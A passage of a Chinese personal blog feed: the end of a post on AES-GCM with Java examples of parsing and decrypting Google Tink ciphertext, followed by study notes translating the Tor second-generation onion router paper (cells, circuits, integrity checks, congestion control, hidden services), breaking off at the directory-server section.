&lt;p&gt;许多在线 AES 工具既没有提供初始向量的输入方法，也没有明确指出把用户口令转换为密钥的 KDF，更不要说使用 AAD 了。由于参数的不同，通过这些工具加密的内容可能到了另一些工具那里却无法解密。笔者推荐使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.lddgo.net&#x2F;en&#x2F;encrypt&#x2F;aes&quot;&gt;AES Encryption and Decryption&lt;&#x2F;a&gt; 这个工具来做验证。&lt;&#x2F;p&gt;
&lt;p&gt;当然为了让这个工具可以正确接收密钥和 IV，特别构造了对应的字符串。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;applied-modern-crypto&#x2F;aes-online-tool-verify.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-google-tink&quot;&gt;使用 Google Tink&lt;&#x2F;h3&gt;
&lt;p&gt;AEAD 方案已经非常简单了，尽管如此你还要记住 128 &#x2F; 96 这些参数，在发送加密结果时还要记住一起发送 IV。因此笔者给出的建议是 —— &lt;strong&gt;别自己弄&lt;&#x2F;strong&gt;，你应该使用 NaCl &#x2F; Google Tink 这样的加密库。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;&amp;#x2F; Register all AEAD key types with the Tink runtime
AeadConfig.register();
&amp;#x2F;&amp;#x2F; Read the keyset into a KeysetHandle
keysetHandle = CleartextKeysetHandle.read(
    JsonKeysetReader.withInputStream(
         this.getClass().getClassLoader()
             .getResourceAsStream(&amp;quot;tinkey-keyset&amp;quot;)));
&amp;#x2F;&amp;#x2F; Get the primitive
Aead aead = keysetHandle.getPrimitive(Aead.class);
byte[] ciphertext = aead.encrypt(plaintext, associatedData);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;没有任何参数配置，你会得到 &lt;code&gt;012491689977a2359f0f5d1e52a4b8da2ab05a595874f430a845f22f7e6ee2f5f20b4b1a7824c5a436374ce2d11a&lt;&#x2F;code&gt;，这就是解密需要的全部了（当然还有密钥和 AAD）。&lt;&#x2F;p&gt;
&lt;p&gt;如果消息的接收方能够使用 Google Tink，那最好，否则就需要按照 Tink 的格式解析密文再进行解密。&lt;&#x2F;p&gt;
&lt;p&gt;以最简单的 AES128-GCM 为例，分析 Tink 的代码可以写出直接调用 &lt;code&gt;javax.crypto.Cipher&lt;&#x2F;code&gt; 的解密过程。&lt;&#x2F;p&gt;
&lt;p&gt;首先把 Tink 的加密结果恢复为字节数组，有些信息是提供给 Tink 的，可以丢弃。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;byte[] cipherText = BaseEncoding.base16().lowerCase().decode(&amp;quot;012491689977a2359f0f5d1e52a4b8da2ab05a595874f430a845f22f7e6ee2f5f20b4b1a7824c5a436374ce2d11a&amp;quot;);
&amp;#x2F;&amp;#x2F; 第一个字节表示版本号
assertEquals(0x01, cipherText[0]);
&amp;#x2F;&amp;#x2F; 接下来 4 字节转换成 Long 类型，是密钥在密钥集中的 ID
assertEquals(613509273L, Longs.fromBytes((byte) 0, (byte) 0, (byte) 0, (byte) 0, cipherText[1], cipherText[2], cipherText[3], cipherText[4]));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;AES&#x2F;GCM 使用 12 字节长的 nonce 和 16 字节长的 tag，密文长度则与明文长度相同。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;&amp;#x2F;&amp;#x2F; 12-byte nonce
byte[] nonce = new byte[12];
System.arraycopy(cipherText, 5, nonce, 0, 12);

&amp;#x2F;&amp;#x2F; 13-byte ciphertext same as plain text with 16-byte tag (or mac)
byte[] cipherTextWithTag = new byte[13 + 16];
System.arraycopy(cipherText, 17, cipherTextWithTag, 0, 29);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以自己用 &lt;code&gt;javax.crypto.Cipher&lt;&#x2F;code&gt; 实现解密：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;Cipher cipher = Cipher.getInstance(&amp;quot;AES&amp;#x2F;GCM&amp;#x2F;NoPadding&amp;quot;);
cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, &amp;quot;AES&amp;quot;), new GCMParameterSpec(128, nonce));
cipher.updateAAD(associatedData);
byte[] decrypted = cipher.doFinal(cipherTextWithTag);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过 &lt;code&gt;com.google.crypto.tink.subtle.AesGcmJce&lt;&#x2F;code&gt; 也可以在不使用密钥集等概念的情况下享受 Tink 的大部分好处：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;java&quot; class=&quot;language-java &quot;&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;AesGcmJce aesGcmJce = new AesGcmJce(key);
byte[] cipherText = aesGcmJce.encrypt(PLAIN_TEXT.getBytes(StandardCharsets.UTF_8), associatedData);
&amp;#x2F;&amp;#x2F; 密文长度等于 iv 长度 + 明文长度 + tag 长度
assertEquals(12 + PLAIN_TEXT.getBytes(StandardCharsets.UTF_8).length + 16, cipherText.length);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Tor The Second-Generation Onion Router学习笔记</title>
        <published>2025-08-16T00:00:00+00:00</published>
        <updated>2025-08-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/tor-the-second-generation-onion-router学习笔记/"/>
        <id>https://vercel.juzhong.asia/obsidian/tor-the-second-generation-onion-router学习笔记/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/tor-the-second-generation-onion-router学习笔记/">&lt;h1 id=&quot;tor-the-second-generation-onion-routerxue-xi-bi-ji&quot;&gt;Tor The Second-Generation Onion Router学习笔记&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;aLieb&#x2F;p&#x2F;15896605.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;aLieb&#x2F;p&#x2F;15896605.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;前半部分是看油管上一些视频对Tor的初步认识，后面是根据论文记得一些笔记，基本上是直接翻译，添加了一点术语解释。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tor-the-second-generation-onion-router&quot;&gt;Tor The Second-Generation Onion Router&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;1-torjian-jie&quot;&gt;1.Tor简介&lt;&#x2F;h4&gt;
&lt;p&gt;Tor是一种基于电路的低延迟匿名通信服务，2代Tor通过添加完美的前向匿名、拥塞控制、目录服务器、完整性检查、可配置的退出策略以及通过聚合点实现位置隐藏服务的实用设计来解决原始设计中的限制。&lt;&#x2F;p&gt;
&lt;p&gt;Tor设计目标：①以较大的可变的延迟来实现匿名化；&lt;&#x2F;p&gt;
&lt;p&gt;②易于分析，但用户必须信任匿名代理；&lt;&#x2F;p&gt;
&lt;p&gt;③任何结点都可以读取用户流量；&lt;&#x2F;p&gt;
&lt;p&gt;④广播响应来隐藏发起者。&lt;&#x2F;p&gt;
&lt;p&gt;Tor工作原理：Alice-&amp;gt;Bob&lt;&#x2F;p&gt;
&lt;p&gt;①Alice的Tor客户端从目录服务器中获得一系列的Tor结点；&lt;&#x2F;p&gt;
&lt;p&gt;②Alice的Tor客户端选择一条随机的到目的服务器的路径，这其中Alice到Tor结点和Tor结点之间 的消息传递都是加密的，Tor结点到Bob的一段是非加密的；&lt;&#x2F;p&gt;
&lt;p&gt;③若之后Alice又对其他节点进行访问，其客户端会根据以上流程进行传输。&lt;&#x2F;p&gt;
&lt;p&gt;Tor通过三层加密来确保信息安全，Tor网络中的结点均是来自世界各地的志愿者结点，并且，网络中的结点越多，Tor的匿名性就越强。&lt;&#x2F;p&gt;
&lt;p&gt;传统的加密方式是围绕信息本身进行加密，但是有时我们甚至不想让人知道自己做出了发信息这一行为，也就是实现完全匿名。&lt;&#x2F;p&gt;
&lt;p&gt;Tor的一次信息传递需要经过三跳，经过三个中间结点。&lt;&#x2F;p&gt;
&lt;p&gt;Tor中的每个结点都知道自己的前驱结点和后继结点，没有一个结点对整个网络一无所知。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-toryuan-li-jian-shu&quot;&gt;2.Tor原理简述&lt;&#x2F;h4&gt;
&lt;p&gt;Tor客户端发出的信息经过三次加密，分别对应密钥K1、K2、K3，message被层层包裹在内部，形状很像洋葱。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;1731465-20220215150517634-576303726-20250816092702-4n5oom8.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在上图的传输过程中，Node2无需也不会得知消息的发送者是谁，Node2只需要知道这是一条应该被转发给Node3的信息，将其的K2加密层去除之后，Node2将包转发给Node3.&lt;&#x2F;p&gt;
&lt;p&gt;上述的这种特性使得即使有人成功地攻击了某个路由结点，那么攻击者也无法获得整个路径的信息，从而起到了对个人信息的保护作用。&lt;&#x2F;p&gt;
&lt;p&gt;这种传输方式的坏处在于势必会影响信息的传播速度，并且很依赖志愿者结点的数量以及链路的质量。&lt;&#x2F;p&gt;
&lt;p&gt;假设对图中的①②③④分别进行嗅探，会出现的情况：&lt;&#x2F;p&gt;
&lt;p&gt;①有人在访问Tor网络，在干什么不知道；&lt;&#x2F;p&gt;
&lt;p&gt;②&#x2F;③完全不可读的加密信息；&lt;&#x2F;p&gt;
&lt;p&gt;④一些访问行为，但是这些行为的发起者是谁不得而知。&lt;&#x2F;p&gt;
&lt;p&gt;上述过程中，①②③都是加密的。&lt;&#x2F;p&gt;
&lt;p&gt;但是如果我们同时监控了①④两处的流量，或许可以从中分析出一些信息，这也是Tor研究的一个重要方向——流量分析。一种方式是以大量的、带有时间戳的流量访问入口结点，并且在出口结点进行监听，分析其中的关联关系。&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的是，和上图所示的洋葱结构的直观感觉不同，Tor Node在进行解密时不会对message本身的大小进行改变，这也是Tor设计的巧妙之处之一。因此整个Tor网络中的任意结点之间的包在大小和格式上都类似于其他的包，起到了伪装作用。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-torshe-ji&quot;&gt;3.Tor设计&lt;&#x2F;h4&gt;
&lt;p&gt;Tor网络是一个覆盖网络；每个洋葱路由器（OR）作为一个普通的用户级线程进行，没有任何特权。每个洋葱路由器和其他的洋葱路由器都保持一个TLS连接，每个用户运行一个成为洋葱代理（OP）的本地软件来从目录服务器获取目录，建立跨网络的电路，并且处理来自用户应用程序的连接。这些洋葱代理接受TCP流并在电路中对其进行多路复用，另一端的洋葱路由器连接到TCP流的目的地并中继数据。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;（术语解释：&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;①覆盖网络Overlay Network：简单来说就是应用层网络，面向应用层，不考虑或者很少考虑网络层和物理层的问题，允许对没有IP地址表示的目的主机路由信息。&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;②安全传输层协议TLS：用于在两个通信应用程序之间提供保密性和数据完整性，该协议由两层组成：TLS记录协议和TLS握手协议。TLS协议采用主从式架构模型，在两个应用程序之间透过网络创建安全的连接，防止在交换数据时受到窃听和篡改。TLS协议不能直接地归于某个单独的通信层，TLS运作基于一些提供可靠通信的传输层协议（例如TCP），这意味着其在传输层之上；同时它也向更高层的通信协议提供加密服务，这项工作在OSI中通常属于表示层协议。但是应用程序通常将TLS协议作为传输层协议对待。）&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;每个OR维护一个长期身份密钥和一个短期洋葱密钥，身份密钥用于签名TLS证书、签名OR的路由器描述符，以及通过目录服务器签名目录；洋葱密钥用于解密用户建立电路和协商临时密钥时的请求，在OR之间进行通信时，TLS协议还会建立一个短期链路密钥，短期密钥会独立、周期性地轮换，来限制密钥泄漏的影响。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-1yang-cong-dan-yuan&quot;&gt;3.1洋葱单元&lt;&#x2F;h5&gt;
&lt;p&gt;OR通过带有临时密钥的TLS连接相互通信，并且与用户的OP通信，使用TLS以完美的前向保密方式隐藏链路上的数据，并且防止攻击者修改线路上的数据或者冒充洋葱路由器。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;（术语解释：前向保密：也称完美前向安全perfect forward secrecy，是密码学中通讯协议的安全属性，指长期使用的主密钥泄漏不会导致过去的会话密钥泄漏。通俗地说，假设一个长期密钥泄漏了，虽然以后的行为的保密性无法确保，但是之前的行为的安全性是可以保证的，敌手获得了当前你的密钥，但是他无法成功伪造一个过去的签名。一般的实现方法是固定公钥，而密钥随着时间更新，这个更新过程是单向无循环的，这就可以保证历史密钥的安全性）&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tor-onion-router&#x2F;tor-cell-structure.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Tor流量由固定为512字节的单元组成，每个单元都由头部和负载组成。头部包括一个电路标识符circID（指定单元引用哪个电路，多个电路可以通过单个TLS电路进行多路复用）、CMD（描述如何处理单元的负载）。电路标识符是链接特定的：每个电路在其所遍历的每个OP-OR或OR-OR链接上都有一个不同的电路标识符。根据单元头的CMD，单元要么是控制单元（总是由接受他们的结点进行解释）要么是中继单元（携带端到端流数据）。CMD的种类有：padding、创建电路、设置新电路、摧毁电路。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tor-onion-router&#x2F;tor-relay-cell-format.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;中继单元（上图）在单元头之后有一个附加的中继头，包含一个流标识符（用于多个流在电路上复用时的区分）、用于完整性检查的端到端的校验和、中继有效负载的长度Len、一个中继命令CMD。中继单元在电路上传输时，使用128位AES密码在计数器模式下生成密码流，将中继头的全部内容和中继单元负载一起加密和解密。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;（术语解释：AES加密算法：高级加密标准AES，是最常见的对称加密算法，加密和解密需要使用相同的密钥。作为分组密码，AES将明文分成长度相等的组，每次加密一组数据，直到整个明文加密完成。AES规定分组长度只能为128位，密钥的长度有128位、192位或256位几种，常用的是AES-128。具体过程再做笔记吧）&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-2dian-lu-he-liu&quot;&gt;3.2电路和流&lt;&#x2F;h5&gt;
&lt;p&gt;洋葱路由最初为每个TCP流建立一个电路，由于公钥加密和网络延迟，这个工作需要耗费大约十分之一秒的时间。在Tor中，每个电路都可以被多个TCP流共享，为了避免延迟，用户预先构造电路，若之前的电路已经被使用，用户的洋葱代理会定期建立一个新电路，并对不在有任何开放流的旧电路进行过期处理。OPs每分钟建立一次新电路，因此即使是大量用户也会花费微不足道的时间来构建电路，通过给定出口的结点，有限数量的请求可以相互连接。此外，由于电路是在后台构建的，OPs在创建电路失败时可以及时恢复，而不是延迟流，这样会损害用户体验。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-2-1dian-lu-de-chuang-jian&quot;&gt;3.2.1电路的创建&lt;&#x2F;h6&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tor-onion-router&#x2F;tor-circuit-creation.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;①名为Alice的OP为了创建一个新的电路，发送一个数据包到她选择路径的第一个结点（Bob），这个数据包的circID是新的，没有在其与Bob的连接中使用的。创建数据包的有效负载中包含了Diffie-Hellman握手g^x1的前半部分；&lt;&#x2F;p&gt;
&lt;p&gt;②Bob的响应是创建了包含DH握手后半部分的数据包，以及协商之后的key值。这时，电路就已经建立起来了（在这一步中，Bob证明是他收到了g^x，并且选择了y）；&lt;&#x2F;p&gt;
&lt;p&gt;③为了进一步扩展电路，Alice发送中继扩展单元给Bob，指定下一个OR的地址（Carol），并为其加密了g^x2；&lt;&#x2F;p&gt;
&lt;p&gt;④Bob将这个半握手复制到一个数据包内，然后传递给Carol，使电路向下延伸（Bob选择了一个新的circID），这里Alice不需要知道Bob和Carol之间的circID，将Alice和Carol联系在一起的只有Bob；&lt;&#x2F;p&gt;
&lt;p&gt;⑤Carol用创建数据包相应电路扩展请求，Bob将其有效负载封装到中继扩展数据包中，传回Alice，告知Alice电路已经扩展到Carol（现在电路扩展到Carol，Alice和Carol共享一个key K2=g^x2y2，若还需扩展电路，Alice会重复上述的过程）；&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-2-2zhong-ji-shu-ju-bao&quot;&gt;3.2.2中继数据包&lt;&#x2F;h6&gt;
&lt;p&gt;Alice建立电路之后（Alice和电路上的每个OR都共享密钥），她就可以发送中继数据包。每个中继数据包都有一个流ID来表示其属于哪个流。在接收到一个中继数据包之后，OR根据流ID查找相应的电路，并用该电路的会话密钥来解密中继头和负载。若中继数据包是由Alice发出的，OR会检查解密之后的流是否被识别出来，它要么是对应于给定电路的这个OR处的一个打开的流，要么是一个控制数据包（streamID zero）。如果OR识别出了streamID，它会接受这个中继数据包并且按下面的流程处理，否则，OR会查找电路中下一跳的circID和OR，将circID酌情替换，并将解密的中继数据包发送给下一个OR（若电路末端的OR接收到一个无法识别的中继数据包，则认为发生了错误，该中继数据包将被丢弃）。&lt;&#x2F;p&gt;
&lt;p&gt;OP对于传入的中继数据包：使用电路上每个OR共享的会话密钥迭代地打开中继头和负载，若OP在任何阶段接收到了中继数据包，那么它必定起源于最近刚刚解除加密的OR。&lt;&#x2F;p&gt;
&lt;p&gt;为了构建一个定位到目标OR的中继数据包，Alice需要用到达该OR的每一跳的对称密钥迭代加密数据包。在这个过程中，每一步都将streamID加密为不同的值，因此只有在目标OR处，才会是一个有意义的值。这种有漏洞的（能随时下车的）网络拓扑设计允许Alice在单一电路的不同OR退出，Alice可能会因为退出策略选择不同的退出点，或者让OR不知道两个流来自同一个人。&lt;&#x2F;p&gt;
&lt;p&gt;为了拆除一个电路，Alice发送一个破坏数据包，电路中的每个OR接收到之后会关闭该电路上的所有流，并向前传递一个新的破坏数据包。正如电路是逐步建立起来的，它也可以被逐步拆除：Alice发送一个中继截断数据包到电路上的每个OR，这个OR接下来会发送一个破环数据包，并通过中继截断数据包来确认。&lt;&#x2F;p&gt;
&lt;p&gt;Alice可以将电路扩展到不同的结点，而不需要向中间结点发出信号来表示她已经改变了电路。若电路上一个结点出现了故障，它也可以向Alice发送一个中继截断数据包，这样，“断开一个结点，观察哪条电路断开”的攻击方式就被削弱了。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-2-3da-kai-he-guan-bi-shu-ju-liu&quot;&gt;3.2.3打开和关闭数据流&lt;&#x2F;h6&gt;
&lt;p&gt;当Alice的应用程序需要一个到给定地址和端口的TCP连接时，它请求OP通过socks建立连接，OP选择一条新的电路（或者根据要求建立一条），并在电路上选择一个合适的OR作为退出结点（这个结点通常是最后一个结点，但是可能由于退出策略冲突而选择其他结点）。OP使用新的随机身份标识符向出口结点发送中继开始单元来打开流。出口结点连接到主机之后，它会向OP回复中继连接单元，OP收到后发送socks回复通知应用程序连接成功。之后，OP接受来自应用程序TCP流的数据，将其打包到中继数据单元中，将这些数据单元沿电路发送到之前建立连接的OR。&lt;&#x2F;p&gt;
&lt;p&gt;Tor数据流的关闭类似于TCP流：对正常操作使用两步握手，对错误操作使用一步握手，若流异常关闭，流上相邻的结点会简单地发送中继拆除单元；若流正常关闭，结点向电路发送一个中继终止单元，当另一方发送回自己的中继中断单元时，流就可以关闭。因为所有的中继单元都使用分层加密，所以只有目的地结点知道这个中继单元是一个关闭流的请求。这两步握手允许Tor支持基于TCP的使用半关闭连接的应用程序。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-2-4liu-de-wan-zheng-xing-jian-cha&quot;&gt;3.2.4流的完整性检查&lt;&#x2F;h6&gt;
&lt;p&gt;旧的洋葱路由设计使用了没有完整性检查的流密码，其流量很容易受到可延展性攻击（尽管攻击者不能解密数据包，但是对加密数据的任何更改都会对离开网络的数据产生相应的更改），这个弱点允许对手将填充数据包更改为破环数据包；或者将中继开始单元中的目的地址修改为对手的网络服务器，等等。任何能够猜到加密内容的对手都可能在流中引入这种破坏。&lt;&#x2F;p&gt;
&lt;p&gt;Tor在其链路上使用了TLS，其完整性检查保护数据不被外部对手修改，但是，解决内部可塑性攻击则更为复杂（？）&lt;&#x2F;p&gt;
&lt;p&gt;我们可以通过包含哈希值或使用一些验证密码模式来在每一跳对中继单元进行完整性检查，但是这存在一些问题：首先，这些方式都会增加每一跳的消息扩展开销，因此我们要么泄漏路径长度，要么就要将所有的中继单元都填充到最大长度，这会造成字节浪费；其次，这些解决方案只能对来自ALice的流量进行验证，由于电路上的OR不知道其他OR的会话密钥，因此OR不能为中间跳产生合适的哈希值（这里可能是说，对电路上所有OR的会话密钥都知道的只有电路的建立者ALice）；第三，我们已经承认我们的设计容易受到端到端的定时攻击，那么标记电路内执行的攻击不会给攻击者提供额外的信息（这里可能说的是前面提到的大量带时间戳的流量分析攻击）。&lt;&#x2F;p&gt;
&lt;p&gt;考虑到上面的情况，Tor仅在每条电路的边缘进行完整性检查（之前提到，Tor电路是类似于漏管的电路，因此电路的边缘可以是电路上的每个OR）。&lt;&#x2F;p&gt;
&lt;p&gt;当Alice在和新一跳协商密钥时，他们各自用该密钥的导数初始化一个SHA-1摘要，从而从只有他们俩知道的随机性开始。从这时起，他们每个都递增地将他们创建的所有中继单元的内容添加到SHA-1摘要中，并在每个中继单元中包含当前摘要的前四个字节，每个还保留一个SHA-1的接收数据摘要，来验证接收到的哈希是正确的。&lt;&#x2F;p&gt;
&lt;p&gt;为了达到之前提到的修改或删除（拦截）电路中的一个中继数据单元，攻击者必须能够推断出当前的摘要状态（这取决于Alice和Bob之间的所有流量，从他们一开始协商的密钥开始）。在对SHA-1的攻击中，对手可以逐渐增加到一个哈希值来产生一个新的有效哈希值，但是这种攻击是无效的，因为所有的哈希值都是在整个电路中端到端加密的。对手猜出有效哈希的概率是低到可以接受的，若Alice或Bob收到一个坏的哈希值，那么电路就会被及时关闭。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-2-5su-lu-xian-zhi-he-gong-ping&quot;&gt;3.2.5速率限制和公平&lt;&#x2F;h6&gt;
&lt;p&gt;Tor服务器使用令牌桶方法来强制传入字节的长期平均速率，同时仍然允许超过允许带宽的短期突发。因为Tor协议生成的出站字节和进入字节大致相同，因此只需要限制一个就行了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;（术语解释：令牌桶算法：一种常用的流量测量方法，令牌桶指的是网络设备的内部存储池，而令牌则是以给定速率填充桶的虚拟信息包。令牌桶有预设的容量，满时，多余的令牌溢出。需要注意的是，令牌桶中存放的不是消息报文，而是令牌。单纯的令牌桶只是流量测量方法，对流量进行过滤、丢弃等其他操作是由其他功能完成的。）&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-2-6yong-sai-kong-zhi&quot;&gt;3.2.6拥塞控制&lt;&#x2F;h6&gt;
&lt;p&gt;尽管有了速率限制策略，我们还是要考虑拥塞的情况，无论有意还是无意，若有足够多的用户为他们的电路选择相同的OR-to-OR连接，该连接很快就会达到饱和。例如，攻击者可以通过Tor网络向他运行的网络服务器发送一个大文件，然后在电路的网络服务器段拒绝读取，若没有拥塞控制机制，这些数据包会通过整个网络传播回来。下面是我们的策略：&lt;&#x2F;p&gt;
&lt;p&gt;①电路级拥塞控制：为了控制电路带宽使用，每个OR跟踪两个窗口：打包窗口跟踪OR被允许打包多少中继数据单元（从传入的TCP流）以传输回OP；传递窗口跟踪它愿意将多少中继数据单元传递到网络外的TCP流。每个窗口都被初始化，在数据单元被打包或交付时，相应的窗口将减小。当一个OR接收到足够的数据单元时，其向OP发送中继发送单元，流标识符为0.当OR接受到流标识符为0的中继发送单元时，它增加其打包窗口。若封装窗口到达0，OR停止从TCP连接中读取相应电路上的所有流，并不再发送更多的中继数据单元，直到收到一个中继发送单元。OP的行为和OR是相同的，除此之外OP还必须跟踪电路中的每个OR的封装和交付窗口，若封装串口到达0，它将停止从发送给该OR的流中读取数据。&lt;&#x2F;p&gt;
&lt;p&gt;②流级拥塞控制：OP和OR通过发送单元实现对电路中的各个流的端到端流控制。每个流以一个打包窗口开始，并在接受中继发送单元时将该窗口增加一个固定值。流级拥塞控制还必须检查数据是否已成功刷新到TCP流，而不是总是在到达足够的单元后返回中继发送单元，它只在等在刷新的字节数低于某个阈值时才发送中继发送单元。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-2-7ji-he-dian-he-yin-bi-fu-wu&quot;&gt;3.2.7集合点和隐蔽服务&lt;&#x2F;h6&gt;
&lt;p&gt;集合点是Tor网络中位置隐藏服务（也称响应者匿名）的一个组成部分。位置隐藏服务允许Bob提供TCP服务而不透露其IP地址，这种类型的匿名保护了分布式Dos攻击（攻击者被迫攻击Tor网络），因为他们不知道Bob的IP地址。&lt;&#x2F;p&gt;
&lt;p&gt;位置隐蔽服务的设计目标：&lt;&#x2F;p&gt;
&lt;p&gt;①访问控制：Bob需要一种方法来过滤传入的请求，这样攻击者就不能仅仅通过和Bob建立许多无意义的连接来攻击他；&lt;&#x2F;p&gt;
&lt;p&gt;②健壮：Bob应该能维持一个长期的假名身份，即使在出现路由器故障的情况下；&lt;&#x2F;p&gt;
&lt;p&gt;③防污迹：一个社会攻击者如果提供了一个非法的或者声名狼藉的位置隐藏服务，就不应该通过让观察者相信是路由器创建了这个服务来陷害一个约会路由器（这没看懂什么意思）；&lt;&#x2F;p&gt;
&lt;p&gt;④应用程序透明：虽然我们要求用户运行特殊的软件来访问位置隐藏的服务器，但是我们不能要求他们修改他们的应用程序。&lt;&#x2F;p&gt;
&lt;p&gt;我们允许Bob将几个洋葱路由器作为联络点来为他提供位置隐藏，他可以在任何具有经过身份验证的健壮高效的键值查找系统上坐到这一点。客户端Alice选择OR作为她的集合点，她连接到Bob的一个介绍点，告知Bob她的集合点，接着等待Bob来自己的集合点连接。这种额外的间接层可以帮助Bob的引入点避免与直接提供不受欢迎的文件相关的问题（类似于隔离的作用？）。还允许Bob相应一些请求，并忽略其他的请求。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;4-qi-ta-she-ji-jue-ding&quot;&gt;4.其他设计决定&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;4-1zi-yuan-guan-li-he-ju-jue-fu-wu&quot;&gt;4.1资源管理和拒绝服务&lt;&#x2F;h5&gt;
&lt;p&gt;将Tor作为公共服务给网络带来了许多拒绝服务攻击的机会，虽然有了流量控制和速率限制策略来阻止用户消耗超过路由器所愿意提供的带宽，但用户仍然有机会消耗超出其公平份额的网络资源，这可能会导致网络中的其他人无法使用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;（术语解释：拒绝服务攻击：攻击者想让目标机器停止服务，是常用的攻击手段之一。比较典型的就是针对网络带宽进行的消耗性攻击。几种拒绝服务攻击实际上都是想实现两种效果：①迫使服务器的缓冲区满，使其无法再接受新的请求；②使用IP欺骗，迫使服务器将非法用户的连接复位，影响合法用户的正常连接）&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先，有几种消耗cpu的拒绝服务攻击，攻击者使用这种攻击迫使OR执行昂贵的密码操作。类似地，攻击者可以伪造TLS握手的起始，迫使OR执行TLS握手的另一半，而攻击者实际上没有计算成本。&lt;&#x2F;p&gt;
&lt;p&gt;我们还没有实现对这些攻击的任何防御，但是有几种可能的方法：首先，OR可以要求客户端在开始新的TLS握手或接收创建单元时进行令牌验证，只要这些令牌易于验证并且生成的计算成本较高，就可以达到对攻击的限制目的。此外，OR还可以限制它们接受创建单元和TLS连接的速率，但是这种速率限制可能会让攻击者在其他用户创建新电路时减慢其速度。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;4-2tui-chu-ce-lue-he-lan-yong&quot;&gt;4.2退出策略和滥用&lt;&#x2F;h5&gt;
&lt;p&gt;每个洋葱路由器的退出策略都描述了路由器将连接到哪些外部地址和端口。OR也可能能够对客户端进行身份验证防止退出滥用而不伤害匿名。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;4-3mu-lu-fu-wu-qi&quot;&gt;4.3目录服务器&lt;&#x2F;h5&gt;
